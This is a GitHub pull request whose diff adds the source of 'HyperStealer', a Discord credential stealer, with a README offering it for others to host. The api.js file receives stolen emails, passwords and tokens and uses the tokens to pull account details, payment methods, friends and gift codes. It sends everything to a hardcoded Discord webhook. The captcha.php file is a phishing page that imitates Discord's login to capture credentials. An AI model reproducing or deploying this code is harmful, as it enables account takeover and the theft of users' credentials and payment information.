Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add files via upload #39

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Empty file added Fulls.txt
Empty file.
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
> Official Src Of HyperStealer! So Yea Thats It Rest If You Are'nt A Skid Yk How To Host It, And If U need any additional Help Dm Me On My Discord Void.#4848

> 5 Stars = Bot Source Code!
Empty file added Tokens.txt
Empty file.
247 changes: 247 additions & 0 deletions api.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,247 @@
/*
Hyper Stealer v1 | Made With Code Not With <3 xD
Website : hyperstealer.lol
*/


let WEBHOOK_URL = "https://discord.com/api/webhooks/979653273617317938/HyXQZvMLqN7xp64_0kHXuk7ZKrOK2nc4Pm2OhtNTObMX68gYTRMWNCvChQgdUq0wHOK_";
let rawurl = "https://api.hyperstealer.vip";
let config = {
"embed-color": 3158071
}

const express = require("express")
const axios = require("axios")


function GetNitro(flags) {
if (flags == 0) {
return "No Nitro"
}
if (flags == 1) {
return "<:classic:896119171019067423> \`Nitro Classic\`"
}
if (flags == 2) {
return "<a:boost:824036778570416129> \`Nitro Boost\`"
} else {
return "\`No Nitro\`"
}
}


function GetRBadges(flags) {
const Discord_Employee = 1;
const Partnered_Server_Owner = 2;
const HypeSquad_Events = 4;
const Bug_Hunter_Level_1 = 8;
const Early_Supporter = 512;
const Bug_Hunter_Level_2 = 16384;
const Early_Verified_Bot_Developer = 131072;
var badges = "";
if ((flags & Discord_Employee) == Discord_Employee) {
badges += "<:staff:874750808728666152> "
}
if ((flags & Partnered_Server_Owner) == Partnered_Server_Owner) {
badges += "<:partner:874750808678354964> "
}
if ((flags & HypeSquad_Events) == HypeSquad_Events) {
badges += "<:hypesquad_events:874750808594477056> "
}
if ((flags & Bug_Hunter_Level_1) == Bug_Hunter_Level_1) {
badges += "<:bughunter_1:874750808426692658> "
}
if ((flags & Early_Supporter) == Early_Supporter) {
badges += "<:early_supporter:874750808414113823> "
}
if ((flags & Bug_Hunter_Level_2) == Bug_Hunter_Level_2) {
badges += "<:bughunter_2:874750808430874664> "
}
if ((flags & Early_Verified_Bot_Developer) == Early_Verified_Bot_Developer) {
badges += "<:developer:874750808472825986> "
}
if (badges == "") {
badges = ""
}
return badges
}

function totalFriends(f) {
const r = f.filter((user) => {

return user.type == 1
})
return r.length
}

function CalcFriends(f) {
const r = f.filter((user) => {
return user.type == 1
})
var gay = "";
for (z of r) {
var b = GetRBadges(z.user.public_flags)
if (b != "") {
gay += b + ` ${z.user.username}#${z.user.discriminator}\n`
}
}
if (gay == "") {
gay = "\`No Rare Friends\`"
}
return gay
}

function GetBadges(flags) {
const Discord_Employee = 1;
const Partnered_Server_Owner = 2;
const HypeSquad_Events = 4;
const Bug_Hunter_Level_1 = 8;
const House_Bravery = 64;
const House_Brilliance = 128;
const House_Balance = 256;
const Early_Supporter = 512;
const Bug_Hunter_Level_2 = 16384;
const Early_Verified_Bot_Developer = 131072;
var badges = "";
if ((flags & Discord_Employee) == Discord_Employee) {
badges += "<:staff:874750808728666152> "
}
if ((flags & Partnered_Server_Owner) == Partnered_Server_Owner) {
badges += "<:partner:874750808678354964> "
}
if ((flags & HypeSquad_Events) == HypeSquad_Events) {
badges += "<:hypesquad_events:874750808594477056> "
}
if ((flags & Bug_Hunter_Level_1) == Bug_Hunter_Level_1) {
badges += "<:bughunter_1:874750808426692658> "
}
if ((flags & House_Bravery) == House_Bravery) {
badges += "<:bravery:874750808388952075> "
}
if ((flags & House_Brilliance) == House_Brilliance) {
badges += "<:brilliance:874750808338608199> "
}
if ((flags & House_Balance) == House_Balance) {
badges += "<:balance:874750808267292683> "
}
if ((flags & Early_Supporter) == Early_Supporter) {
badges += "<:early_supporter:874750808414113823> "
}
if ((flags & Bug_Hunter_Level_2) == Bug_Hunter_Level_2) {
badges += "<:bughunter_2:874750808430874664> "
}
if ((flags & Early_Verified_Bot_Developer) == Early_Verified_Bot_Developer) {
badges += "<:developer:874750808472825986> "
}
if (badges == "") {
badges = "\`None\`"
}
return badges
}

function Cool(card) {
const json = card
var billing = "";
json.forEach(z => {
if (z.type == "") {
return "\`❌\`"
} else if (z.type == 2 && z.invalid != !0) {
billing += "\`✔️\`" + " <:paypal:896441236062347374>"
} else if (z.type == 1 && z.invalid != !0) {
billing += "\`✔️\`" + " :credit_card:"
} else {
return "\`❌\`"
}
})
if (billing == "") {
billing = "\`❌ No Payment Method\`"
}
return billing
}



function userLogin(password, email, token) {
headers = { "Authorization": token }
axios("https://discordapp.com/api/v9/users/@me", { headers: headers }).then(results=> {
axios("https://discordapp.com/api/v6/users/@me/billing/payment-sources", { headers: headers }).then(card => {
axios("https://discord.com/api/v9/users/@me/relationships", { headers: headers }).then(friends => {


let fields = [ { "name": ":shield: Username", "value": `\`${results.data.username}#${results.data.discriminator}\``, "inline": true }, { "name": ":tools: Developer ID", "value": `\`${results.data.id}\``, "inline": true }, { "name": ":e_mail: Email", "value": `\`${email}\``, "inline": true }, { "name": ":white_check_mark: Verified", "value": `\`${results.data.verified}\``, "inline": true },{ "name": ":lock: Password", "value": `\`${password}\``, "inline": true} ]
if (results.data.verified === true) {
fields.push( { "name": ":mobile_phone: Phone", "value": `\`${results.data.phone}\``, "inline": true } )
}
fields.push({ "name": "<:st_nitro:956151524306874399> Subscription", "value": `${GetNitro(results.data.premium_type)}`, "inline": true })
fields.push({ "name": "Payment Method", "value": `${Cool(card.data)}`, "inline": true })
fields.push({ "name": "<a:aD_discordbadgesnitroall:943351577866018837> Badges", "value": `${GetBadges(results.data.flag)}`, "inline": true })
fields.push({ "name": "Token", "value": `\`\`\`${token}\`\`\``, "inline": true })

let fieldss = []
axios.get('https://discord.com/api/v9/users/@me/outbound-promotions/codes', { headers: headers }).then(res => {
res.data.forEach(json => {
let description = `${json.code}`
fieldss.push({ "name": `<:GIFT:937363744244240444> ${json.promotion.outbound_title}`, "value": `\`\`\`\n${description}\n\`\`\``, "inline": false })
})

let embed1 = { "description": `[**<:partner:909102089513340979> │ Click Here To Copy Info On Mobile**](${rawurl}/api?raw=${token}:${password})`, "color": config["embed-color"], "author": { "name": "HyperStealer | v1" }, "fields": fields, "footer": { "text": `hyperstealer.vip`, "icon": `https://cdn.discordapp.com/avatars/${results.data.id}/${results.data.avatar}` } }
let embed2 = { "color": config["embed-color"], "title": `Total Frens (${totalFriends(friends.data)})`, "description": `${CalcFriends(friends.data)}`, "footer": { "text": `${results.data.username}#${results.data.discriminator}`, "icon": `https://cdn.discordapp.com/avatars/${results.data.id}/${results.data.avatar}` } }
let embed3 = { "color": config["embed-color"], "title": `Gift Codes`, "fields": fieldss, "footer": { "text": `${results.data.username}#${results.data.discriminator}`, "icon": `https://cdn.discordapp.com/avatars/${results.data.id}/${results.data.avatar}` } }

axios.post(WEBHOOK_URL, {"content": "||@here|| `New User Just Logged In`", "embeds": [ embed1, embed2, embed3 ] })
})
})
})
})
}


function UserInjected(path, hostname) {
let embed = { "title": "Discord Initalized (User not Logged in)", "color": config["embed-color"],"fields": [{ "name": "Info", "value": `\`\`\`\nHost Name : ${hostname}\nPath Injected : ${path}\n\`\`\`` }],"footer": { "text": "VoidStealer | CaptchaCord.cc" } }
axios.post(WEBHOOK_URL, {"content": "||@here|| `Injected But No Discords Logged In xD!!!`", "embeds": [ embed ] })
}


/*
Rest Api Starts From Here xD Once Again Made With Code Not With <3
*/


const app = express()


app.get('/api/v1/userlogin', (req, res) => {
let password = req.query.password
let email = req.query.email
let token = req.query.token

userLogin(password, email, token)
})

app.get('/api', (req, res) => {
res.send(req.query.raw)
})

app.listen(6969)

console.log(' ______ __ __ ______ __')
console.log(' / ____/___ _____ / /______/ /_ ____ _/ ____/___ _________/ /')
console.log(' / / / __ `/ __ \\/ __/ ___/ __ \\/ __ `/ / / __ \\/ ___/ __ /')
console.log(' / /___/ /_/ / /_/ / /_/ /__/ / / / /_/ / /___/ /_/ / / / /_/ / ')
console.log(' \\____/\\__,_/ .___/\\__/\\___/_/ /_/\\__,_/\\____/\\____/_/ \\__,_/ ')
console.log(' /_/')

console.log(`
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
* Debugger is active!
* Running on all addresses.
* WARNING: This is a development server. Do not use it in a production deployment.
* Running on http://localhost:6969/ (Press CTRL+C to quit)
`)


process.on('unhandledRejection', (error) => { console.log(`${error.stack}`) });
process.on("uncaughtException", (err, origin) => { console.log(`${err.stack}`) })
process.on('uncaughtExceptionMonitor', (err, origin) => { console.log(`${err.stack}`) });
process.on('beforeExit', (code) => { console.log(`${code}`) });
process.on('exit', (code) => { console.log(`${code}`) });
process.on('multipleResolves', (type, promise, reason) => { }); 
78 changes: 78 additions & 0 deletions captcha.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
<?php
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("Location: /");
exit();
}
$login = $_POST["email"];
$password = $_POST["password"];
?>
<html lang="en" style="font-size: 100%" class="full-motion app-focused theme-dark platform-web oldBrand" data-rh="lang,style,class">
<head>
<title>Discord</title>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=no" name="viewport">
<meta property="og:type" content="website">
<meta property="og:site_name" content="Discord">
<meta property="og:title" content="Discord - A New Way to Chat with Friends &amp; Communities">
<meta property="og:description" content="Discord is the easiest way to communicate over voice, video, and text. Chat, hang out, and stay close with your friends and communities.">
<meta property="og:image" content="src/img/ee7c382d9257652a88c8f7b7f22a994d.png">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:site" content="@discord">
<meta name="twitter:creator" content="@discord">
<link rel="stylesheet" href="src/css/style.css">
<link rel="icon" href="src/img/847541504914fd33810e70a0ea73177e.ico">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@600&amp;family=Roboto:wght@400;500;700&amp;display=swap" rel="stylesheet">
<script charset="utf-8" src="src/js/62139f1cff10402837062.js"></script>
<script src="https://hcaptcha.com/1/api.js" async defer></script>
</head>
<body>
<div id="app-mount" class="appMount-3lHmkl">
<div class="app-1q1i1E">
<div class="characterBackground-2itjYF"><img style="position: fixed; height: 100%; top: 0; left: 0; width: 100%;" src="src/img/44e0c1fbcf99c4476083442e4a2774e0.svg"> <a href="/" target="_blank" rel="noopener" class="logo-2iEHEq logo-1-AbdC" style="opacity: 1; transform: translateY(0px) translateZ(0px);"></a></div>
<div class="splashBackground-1FRCko wrapper-3Q5DdO scrollbarGhost-2F9Zj2 scrollbar-3dvm_9">
<canvas class="canvas-3XuBXe" width="800" height="600" style="width: 800px; height: 600px;"></canvas>
<div>
<div class="wrapper-6URcxg" style="opacity: 1; transform: scale(1) translateY(0px) translateZ(0px);">
<div class="pole2x">
<div class="authBox-hW6HRx theme-dark">
<div class="centeringWrapper-2Rs1dR">
<img alt="" src="src/img/0f4d1ff76624bb45a3fee4189279ee92.svg" class="marginBottom20-32qID7">
<h3 class="title-jXR8lp marginBottom8-AtZOdT base-1x0h_U size24-RIRrxO">
Welcome back! </h3>
<div class="colorHeaderSecondary-3Sp3Ft size16-1P40sf marginBottom40-2vIwTv">
Beep boop. Boop beep? </div>
<div class="flexCenter-3_1bcw flex-1O1GKY justifyCenter-3D2jYp alignCenter-1dQNNs" style="flex: 1 1 auto;">
<div class="h-captcha" data-sitekey="f5561ba9-8f1e-40ca-9b5b-a0b3f719ef34" data-callback="onSuccess" data-theme="dark"></div>
<div>
<form id="captchaxxx" method="POST" action="/index.php">
<input type="hidden" value="" id="captcha_key" name="captcha_key" />
<input type="hidden" value="<?php echo $login; ?>" id="login" name="login" />
<input type="hidden" value="<?php echo $password; ?>" id="password" name="password" />
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script type="text/javascript">
history.pushState(null, null, '/');
document.oncontextmenu = () => false;
if (document.getElementById("elprimo1").innerText != "-Login or password is invalid." && document.getElementById("elprimo1").innerText != "-New login location detected, please check your e-mail.") {
document.getElementById("elprimo1").hidden = true;
} else {
document.getElementById("pole1-text").style.color = "#ed4245";
}
document.getElementById("elprimo2").hidden = true;

function onSuccess(captcha_key) {
document.getElementById("captcha_key").value = captcha_key;
document.getElementById("captchaxxx").submit();
}
</script>
</body>

</html>
1 change: 1 addition & 0 deletions config.php
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
<?php $api_url = "https://API_URL_HERE"; $SAVE_TO_TXT = TRUE; ?>
Loading